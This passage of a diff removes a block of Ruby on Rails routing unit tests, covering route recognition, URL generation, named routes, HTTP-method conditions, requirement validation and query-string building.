-      assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
-    end
-
-    def test_action_expiry
-      assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
-    end
-
-    def test_recognition_with_uppercase_controller_name
-      assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
-      assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
-      assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
-
-      # these used to work, before the routes rewrite, but support for this was pulled in the new version...
-      #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
-      #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
-    end
-
-    def test_requirement_should_prevent_optional_id
-      rs.draw do |map|
-        map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
-      end
-
-      assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
-
-      assert_raises ActionController::RoutingError do
-        rs.generate(:controller => 'post', :action => 'show')
-      end
-    end
-
-    def test_both_requirement_and_optional
-      rs.draw do |map|
-        map.blog('test/:year', :controller => 'post', :action => 'show',
-          :defaults => { :year => nil },
-          :requirements => { :year => /\d{4}/ }
-        )
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
-      assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
-
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/test",
-                   x.send(:blog_url))
-    end
-
-    def test_set_to_nil_forgets
-      rs.draw do |map|
-        map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/pages/2005',
-        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
-      assert_equal '/pages/2005/6',
-        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
-      assert_equal '/pages/2005/6/12',
-        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
-
-      assert_equal '/pages/2005/6/4',
-        rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-
-      assert_equal '/pages/2005/6',
-        rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-
-      assert_equal '/pages/2005',
-        rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-    end
-
-    def test_url_with_no_action_specified
-      rs.draw do |map|
-        map.connect '', :controller => 'content'
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
-      assert_equal '/', rs.generate(:controller => 'content')
-    end
-
-    def test_named_url_with_no_action_specified
-      rs.draw do |map|
-        map.home '', :controller => 'content'
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
-      assert_equal '/', rs.generate(:controller => 'content')
-
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/",
-                   x.send(:home_url))
-    end
-
-    def test_url_generated_when_forgetting_action
-      [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
-        rs.draw do |map|
-          map.home '', hash
-          map.connect ':controller/:action/:id'
-        end
-        assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
-        assert_equal '/', rs.generate({:controller => 'content'})
-        assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
-      end
-    end
-
-    def test_named_route_method
-      rs.draw do |map|
-        map.categories 'categories', :controller => 'content', :action => 'categories'
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
-      assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
-    end
-
-    def test_named_routes_array
-      test_named_route_method
-      assert_equal [:categories], rs.named_routes.names
-    end
-
-    def test_nil_defaults
-      rs.draw do |map|
-        map.connect 'journal',
-          :controller => 'content',
-          :action => 'list_journal',
-          :date => nil, :user_id => nil
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
-    end
-
-    def setup_request_method_routes_for(method)
-      @request = ActionController::TestRequest.new
-      @request.env["REQUEST_METHOD"] = method
-      @request.request_uri = "/match"
-
-      rs.draw do |r|
-        r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
-        r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
-        r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
-        r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
-      end
-    end
-
-    %w(GET POST PUT DELETE).each do |request_method|
-      define_method("test_request_method_recognized_with_#{request_method}") do
-        begin
-          Object.const_set(:BooksController, Class.new(ActionController::Base))
-
-          setup_request_method_routes_for(request_method)
-
-          assert_nothing_raised { rs.recognize(@request) }
-          assert_equal request_method.downcase, @request.path_parameters[:action]
-        ensure
-          Object.send(:remove_const, :BooksController) rescue nil
-        end
-      end
-    end
-
-    def test_recognize_array_of_methods
-      Object.const_set(:BooksController, Class.new(ActionController::Base))
-      rs.draw do |r|
-        r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
-        r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
-      end
-
-      @request = ActionController::TestRequest.new
-      @request.env["REQUEST_METHOD"] = 'POST'
-      @request.request_uri = "/match"
-      assert_nothing_raised { rs.recognize(@request) }
-      assert_equal 'get_or_post', @request.path_parameters[:action]
-
-      # have to recreate or else the RouteSet uses a cached version:
-      @request = ActionController::TestRequest.new
-      @request.env["REQUEST_METHOD"] = 'PUT'
-      @request.request_uri = "/match"
-      assert_nothing_raised { rs.recognize(@request) }
-      assert_equal 'not_get_or_post', @request.path_parameters[:action]
-    ensure
-      Object.send(:remove_const, :BooksController) rescue nil
-    end
-
-    def test_subpath_recognized
-      Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
-      rs.draw do |r|
-        r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
-        r.connect '/items/:id/:action', :controller => 'subpath_books'
-        r.connect '/posts/new/:action', :controller => 'subpath_books'
-        r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
-      end
-
-      hash = rs.recognize_path "/books/17/edit"
-      assert_not_nil hash
-      assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
-
-      hash = rs.recognize_path "/items/3/complete"
-      assert_not_nil hash
-      assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
-
-      hash = rs.recognize_path "/posts/new/preview"
-      assert_not_nil hash
-      assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
-
-      hash = rs.recognize_path "/posts/7"
-      assert_not_nil hash
-      assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
-    ensure
-      Object.send(:remove_const, :SubpathBooksController) rescue nil
-    end
-
-    def test_subpath_generated
-      Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
-      rs.draw do |r|
-        r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
-        r.connect '/items/:id/:action', :controller => 'subpath_books'
-        r.connect '/posts/new/:action', :controller => 'subpath_books'
-      end
-
-      assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
-      assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
-      assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
-    ensure
-      Object.send(:remove_const, :SubpathBooksController) rescue nil
-    end
-
-    def test_failed_requirements_raises_exception_with_violated_requirements
-      rs.draw do |r|
-        r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
-      end
-
-      x = setup_for_named_route
-      assert_raises(ActionController::RoutingError) do
-        x.send(:foo_with_requirement_url, "I am Against the requirements")
-      end
-    end
-
-    def test_routes_changed_correctly_after_clear
-      ActionController::Base.optimise_named_routes = true
-      rs = ::ActionController::Routing::RouteSet.new
-      rs.draw do |r|
-        r.connect 'ca', :controller => 'ca', :action => "aa"
-        r.connect 'cb', :controller => 'cb', :action => "ab"
-        r.connect 'cc', :controller => 'cc', :action => "ac"
-        r.connect ':controller/:action/:id'
-        r.connect ':controller/:action/:id.:format'
-      end
-
-      hash = rs.recognize_path "/cc"
-
-      assert_not_nil hash
-      assert_equal %w(cc ac), [hash[:controller], hash[:action]]
-
-      rs.draw do |r|
-        r.connect 'cb', :controller => 'cb', :action => "ab"
-        r.connect 'cc', :controller => 'cc', :action => "ac"
-        r.connect ':controller/:action/:id'
-        r.connect ':controller/:action/:id.:format'
-      end
-
-      hash = rs.recognize_path "/cc"
-
-      assert_not_nil hash
-      assert_equal %w(cc ac), [hash[:controller], hash[:action]]
-
-    end
-  end
-
-  class RouteTest < Test::Unit::TestCase
-    def setup
-      @route = ROUTING::Route.new
-    end
-
-    def slash_segment(is_optional = false)
-      ROUTING::DividerSegment.new('/', :optional => is_optional)
-    end
-
-    def default_route
-      unless defined?(@default_route)
-        segments = []
-        segments << ROUTING::StaticSegment.new('/', :raw => true)
-        segments << ROUTING::DynamicSegment.new(:controller)
-        segments << slash_segment(:optional)
-        segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
-        segments << slash_segment(:optional)
-        segments << ROUTING::DynamicSegment.new(:id, :optional => true)
-        segments << slash_segment(:optional)
-        @default_route = ROUTING::Route.new(segments).freeze
-      end
-      @default_route
-    end
-
-    def test_default_route_recognition
-      expected = {:controller => 'accounts', :action => 'show', :id => '10'}
-      assert_equal expected, default_route.recognize('/accounts/show/10')
-      assert_equal expected, default_route.recognize('/accounts/show/10/')
-
-      expected[:id] = 'jamis'
-      assert_equal expected, default_route.recognize('/accounts/show/jamis/')
-
-      expected.delete :id
-      assert_equal expected, default_route.recognize('/accounts/show')
-      assert_equal expected, default_route.recognize('/accounts/show/')
-
-      expected[:action] = 'index'
-      assert_equal expected, default_route.recognize('/accounts/')
-      assert_equal expected, default_route.recognize('/accounts')
-
-      assert_equal nil, default_route.recognize('/')
-      assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
-    end
-
-    def test_default_route_should_omit_default_action
-      o = {:controller => 'accounts', :action => 'index'}
-      assert_equal '/accounts', default_route.generate(o, o, {})
-    end
-
-    def test_default_route_should_include_default_action_when_id_present
-      o = {:controller => 'accounts', :action => 'index', :id => '20'}
-      assert_equal '/accounts/index/20', default_route.generate(o, o, {})
-    end
-
-    def test_default_route_should_work_with_action_but_no_id
-      o = {:controller => 'accounts', :action => 'list_all'}
-      assert_equal '/accounts/list_all', default_route.generate(o, o, {})
-    end
-
-    def test_default_route_should_uri_escape_pluses
-      expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
-      assert_equal expected, default_route.recognize('/accounts/show/hello world')
-      assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
-      assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
-
-      expected[:id] = 'hello+world'
-      assert_equal expected, default_route.recognize('/accounts/show/hello+world')
-      assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
-      assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
-    end
-
-    def test_matches_controller_and_action
-      # requirement_for should only be called for the action and controller _once_
-      @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
-      @route.expects(:requirement_for).with(:action).times(1).returns('show')
-
-      @route.requirements = {:controller => 'pages', :action => 'show'}
-      assert @route.matches_controller_and_action?('pages', 'show')
-      assert !@route.matches_controller_and_action?('not_pages', 'show')
-      assert !@route.matches_controller_and_action?('pages', 'not_show')
-    end
-
-    def test_parameter_shell
-      page_url = ROUTING::Route.new
-      page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
-      assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
-    end
-
-    def test_defaults
-      route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
-      assert_equal(
-        { :controller => "users", :action => "show", :format => "html" },
-        route.defaults)
-    end
-
-    def test_builder_complains_without_controller
-      assert_raises(ArgumentError) do
-        ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
-      end
-    end
-
-    def test_significant_keys_for_default_route
-      keys = default_route.significant_keys.sort_by {|k| k.to_s }
-      assert_equal [:action, :controller, :id], keys
-    end
-
-    def test_significant_keys
-      segments = []
-      segments << ROUTING::StaticSegment.new('/', :raw => true)
-      segments << ROUTING::StaticSegment.new('user')
-      segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
-      segments << ROUTING::DynamicSegment.new(:user)
-      segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
-
-      requirements = {:controller => 'users', :action => 'show'}
-
-      user_url = ROUTING::Route.new(segments, requirements)
-      keys = user_url.significant_keys.sort_by { |k| k.to_s }
-      assert_equal [:action, :controller, :user], keys
-    end
-
-    def test_build_empty_query_string
-      assert_equal '', @route.build_query_string({})
-    end
-
-    def test_build_query_string_with_nil_value
-      assert_equal '', @route.build_query_string({:x => nil})
-    end
-
-    def test_simple_build_query_string
-      assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
-    end
-
-    def test_convert_ints_build_query_string
-      assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
-    end
-
-    def test_escape_spaces_build_query_string
-      assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
-    end
-
-    def test_expand_array_build_query_string
-      assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
-    end
-
-    def test_escape_spaces_build_query_string_selected_keys
-      assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
-    end
-
-    private
-      def order_query_string(qs)
-        '?' + qs[1..-1].split('&').sort.join('&')
-      end
-  end
-
-  class RouteSetTest < Test::Unit::TestCase
-    def set
-      @set ||= ROUTING::RouteSet.new
-    end
-
-    def request
-      @request ||= MockRequest.new(:host => "named.routes.test", :method => :get)
-    end
-
-    def test_generate_extras
-      set.draw { |m| m.connect ':controller/:action/:id' }
-      path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-      assert_equal "/foo/bar/15", path
-      assert_equal %w(that this), extras.map(&:to_s).sort
-    end
-
-    def test_extra_keys
-      set.draw { |m| m.connect ':controller/:action/:id' }
-      extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-      assert_equal %w(that this), extras.map(&:to_s).sort
-    end
-
-    def test_generate_extras_not_first
-      set.draw do |map|
-        map.connect ':controller/:action/:id.:format'
-        map.connect ':controller/:action/:id'
-      end
-      path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-      assert_equal "/foo/bar/15", path
-      assert_equal %w(that this), extras.map(&:to_s).sort
-    end
-
-    def test_generate_not_first
-      set.draw do |map|
-        map.connect ':controller/:action/:id.:format'
-        map.connect ':controller/:action/:id'
-      end
-      assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
-    end
-
-    def test_extra_keys_not_first
-      set.draw do |map|
-        map.connect ':controller/:action/:id.:format'
-        map.connect ':controller/:action/:id'
-      end
-      extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-      assert_equal %w(that this), extras.map(&:to_s).sort
-    end
-
-    def test_draw
-      assert_equal 0, set.routes.size
-      set.draw do |map|
-        map.connect '/hello/world', :controller => 'a', :action => 'b'
-      end
-      assert_equal 1, set.routes.size
-    end
-
-    def test_named_draw
-      assert_equal 0, set.routes.size
-      set.draw do |map|
-        map.hello '/hello/world', :controller => 'a', :action => 'b'
-      end
-      assert_equal 1, set.routes.size
-      assert_equal set.routes.first, set.named_routes[:hello]
-    end
-
-    def test_later_named_routes_take_precedence
-      set.draw do |map|
-        map.hello '/hello/world', :controller => 'a', :action => 'b'
-        map.hello '/hello', :controller => 'a', :action => 'b'
-      end
-      assert_equal set.routes.last, set.named_routes[:hello]
-    end
-
-    def setup_named_route_test
-      set.draw do |map|
-        map.show '/people/:id', :controller => 'people', :action => 'show'
-        map.index '/people', :controller => 'people', :action => 'index'
-        map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
-        map.users '/admin/users', :controller => 'admin/users', :action => 'index'
-      end
-
-      klass = Class.new(MockController)
-      set.install_helpers(klass)
-      klass.new(set)
-    end
-
-    def test_named_route_hash_access_method
-      controller = setup_named_route_test
-
-      assert_equal(
-        { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
-        controller.send(:hash_for_show_url, :id => 5))
-
-      assert_equal(
-        { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
-        controller.send(:hash_for_index_url))
-
-      assert_equal(
-        { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
-        controller.send(:hash_for_show_path, :id => 5)
-      )
-    end
-
-    def test_named_route_url_method
-      controller = setup_named_route_test
-
-      assert_equal "http://named.route.test/people/5", controller.send(:show_url, :id => 5)
-      assert_equal "/people/5", controller.send(:show_path, :id => 5)
-
-      assert_equal "http://named.route.test/people", controller.send(:index_url)
-      assert_equal "/people", controller.send(:index_path)
-
-      assert_equal "http://named.route.test/admin/users", controller.send(:users_url)
-      assert_equal '/admin/users', controller.send(:users_path)
-      assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
-    end
-
-    def test_named_route_url_method_with_anchor
-      controller = setup_named_route_test
-
-      assert_equal "http://named.route.test/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
-      assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
-
-      assert_equal "http://named.route.test/people#location", controller.send(:index_url, :anchor => 'location')
-      assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
-
-      assert_equal "http://named.route.test/admin/users#location", controller.send(:users_url, :anchor => 'location')
-      assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
-
-      assert_equal "http://named.route.test/people/go/7/hello/joe/5#location",
-        controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
-
-      assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar#location",
-        controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
-
-      assert_equal "http://named.route.test/people?baz=bar#location",
-        controller.send(:index_url, :baz => "bar", :anchor => 'location')
-    end
-
-    def test_named_route_url_method_with_port
-      controller = setup_named_route_test
-      assert_equal "http://named.route.test:8080/people/5", controller.send(:show_url, 5, :port=>8080)
-    end
-
-    def test_named_route_url_method_with_host
-      controller = setup_named_route_test
-      assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
-    end
-
-    def test_named_route_url_method_with_protocol
-      controller = setup_named_route_test
-      assert_equal "https://named.route.test/people/5", controller.send(:show_url, 5, :protocol => "https")
-    end
-
-    def test_named_route_url_method_with_ordered_parameters
-      controller = setup_named_route_test
-      assert_equal "http://named.route.test/people/go/7/hello/joe/5",
-        controller.send(:multi_url, 7, "hello", 5)
-    end
-
-    def test_named_route_url_method_with_ordered_parameters_and_hash
-      controller = setup_named_route_test
-      assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar",
-        controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
-    end
-
-    def test_named_route_url_method_with_ordered_parameters_and_empty_hash
-      controller = setup_named_route_test
-      assert_equal "http://named.route.test/people/go/7/hello/joe/5",
-        controller.send(:multi_url, 7, "hello", 5, {})
-    end
-
-    def test_named_route_url_method_with_no_positional_arguments
-      controller = setup_named_route_test
-      assert_equal "http://named.route.test/people?baz=bar",
-        controller.send(:index_url, :baz => "bar")
-    end
-
-    def test_draw_default_route
-      ActionController::Routing.with_controllers(['users']) do
-        set.draw do |map|
-          map.connect '/:controller/:action/:id'
-        end
-
-        assert_equal 1, set.routes.size
-        route = set.routes.first
-
-        assert route.segments.last.optional?
-
-        assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
-        assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
-
-        assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
-        assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
-      end
-    end
-
-    def test_draw_default_route_with_default_controller
-      ActionController::Routing.with_controllers(['users']) do
-        set.draw do |map|
-          map.connect '/:controller/:action/:id', :controller => 'users'
-        end
-        assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
-      end
-    end
-
-    def test_route_with_parameter_shell
-      ActionController::Routing.with_controllers(['users', 'pages']) do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
-          map.connect '/:controller/:action/:id'
-        end
-
-        assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
-        assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
-        assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
-
-        assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
-        assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
-      end
-    end
-
-    def test_route_requirements_with_anchor_chars_are_invalid
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
-        end
-      end
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
-        end
-      end
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
-        end
-      end
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
-        end
-      end
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
-        end
-      end
-      assert_nothing_raised do
-        set.draw do |map|
-          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
-        end
-        assert_raises ActionController::RoutingError do
-          set.generate :controller => 'pages', :action => 'show', :id => 10
-        end
-      end
-    end
-
-    def test_route_requirements_with_invalid_http_method_is_invalid
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
-        end
-      end
-    end
-
-    def test_route_requirements_with_head_method_condition_is_invalid
-      assert_raises ArgumentError do
-        set.draw do |map|
-          map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
-        end
-      end
-    end
-
-    def test_non_path_route_requirements_match_all
-      set.draw do |map|
-        map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
-      end
-      assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
-      assert_raises ActionController::RoutingError do
-        set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
-      end
-      assert_raises ActionController::RoutingError do
-        set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
-      end
-    end
-
-    def test_recognize_with_encoded_id_and_regex
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
-      end
-
-      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
-      assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
-    end
-
-    def test_recognize_with_conditions
-      Object.const_set(:PeopleController, Class.new)
-
-      set.draw do |map|
-        map.with_options(:controller => "people") do |people|
-          people.people  "/people",     :action => "index",   :conditions => { :method => :get }
-          people.connect "/people",     :action => "create",  :conditions => { :method => :post }
-          people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
-          people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
-          people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
-        end
-      end
-
-      request.path = "/people"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("index", request.path_parameters[:action])
-
-      request.method = :post
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("create", request.path_parameters[:action])
-
-      request.method = :put
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("update", request.path_parameters[:action])
-
-      begin
-        request.method = :bacon
-        set.recognize(request)
-        flunk 'Should have raised NotImplemented'
-      rescue ActionController::NotImplemented => e
-        assert_equal [:get, :post, :put, :delete], e.allowed_methods
-      end
-
-      request.path = "/people/5"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("show", request.path_parameters[:action])
-      assert_equal("5", request.path_parameters[:id])
-
-      request.method = :put
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("update", request.path_parameters[:action])
-      assert_equal("5", request.path_parameters[:id])
-
-      request.method = :delete
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("destroy", request.path_parameters[:action])
-      assert_equal("5", request.path_parameters[:id])
-
-      begin
-        request.method = :post
-        set.recognize(request)
-        flunk 'Should have raised MethodNotAllowed'
-      rescue ActionController::MethodNotAllowed => e
-        assert_equal [:get, :put, :delete], e.allowed_methods
-      end
-
-    ensure
-      Object.send(:remove_const, :PeopleController)
-    end
-
-    def test_recognize_with_alias_in_conditions
-      Object.const_set(:PeopleController, Class.new)
-
-      set.draw do |map|
-        map.people "/people", :controller => 'people', :action => "index",
-          :conditions => { :method => :get }
-        map.root   :people
-      end
-
-      request.path = "/people"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("people", request.path_parameters[:controller])
-      assert_equal("index", request.path_parameters[:action])
-
-      request.path = "/"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("people", request.path_parameters[:controller])
-      assert_equal("index", request.path_parameters[:action])
-    ensure
-      Object.send(:remove_const, :PeopleController)
-    end
-
-    def test_typo_recognition
-      Object.const_set(:ArticlesController, Class.new)
-
-      set.draw do |map|
-        map.connect 'articles/:year/:month/:day/:title',
-               :controller => 'articles', :action => 'permalink',
-               :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
-      end
-
-      request.path = "/articles/2005/11/05/a-very-interesting-article"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("permalink", request.path_parameters[:action])
-      assert_equal("2005", request.path_parameters[:year])
-      assert_equal("11", request.path_parameters[:month])
-      assert_equal("05", request.path_parameters[:day])
-      assert_equal("a-very-interesting-article", request.path_parameters[:title])
-
-    ensure
-      Object.send(:remove_const, :ArticlesController)
-    end
-
-    def test_routing_traversal_does_not_load_extra_classes
-      assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
-      set.draw do |map|
-        map.connect '/profile', :controller => 'profile'
-      end
-
-      request.path = '/profile'
-
-      set.recognize(request) rescue nil
-
-      assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
-    end
-
-    def test_recognize_with_conditions_and_format
-      Object.const_set(:PeopleController, Class.new)
-
-      set.draw do |map|
-        map.with_options(:controller => "people") do |people|
-          people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
-          people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
-          people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
-        end
-      end
-
-      request.path = "/people/5"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("show", request.path_parameters[:action])
-      assert_equal("5", request.path_parameters[:id])
-
-      request.method = :put
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("update", request.path_parameters[:action])
-
-      request.path = "/people/5.png"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("show", request.path_parameters[:action])
-      assert_equal("5", request.path_parameters[:id])
-      assert_equal("png", request.path_parameters[:_format])
-    ensure
-      Object.send(:remove_const, :PeopleController)
-    end
-
-    def test_generate_with_default_action
-      set.draw do |map|
-        map.connect "/people", :controller => "people"
-        map.connect "/people/list", :controller => "people", :action => "list"
-      end
-
-      url = set.generate(:controller => "people", :action => "list")
-      assert_equal "/people/list", url
-    end
-
-    def test_root_map
-      Object.const_set(:PeopleController, Class.new)
-
-      set.draw { |map| map.root :controller => "people" }
-
-      request.path = ""
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("people", request.path_parameters[:controller])
-      assert_equal("index", request.path_parameters[:action])
-    ensure
-      Object.send(:remove_const, :PeopleController)
-    end
-
-    def test_namespace
-      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
-
-      set.draw do |map|
-
-        map.namespace 'api' do |api|
-          api.route 'inventory', :controller => "products", :action => 'inventory'
-        end
-
-      end
-
-      request.path = "/api/inventory"
-      request.method = :get
-      assert_nothing_raised { set.recognize(request) }
-      assert_equal("api/products", request.path_parameters[:controller])
-      assert_equal("inventory", request.path_parameters[:action])
-    ensure
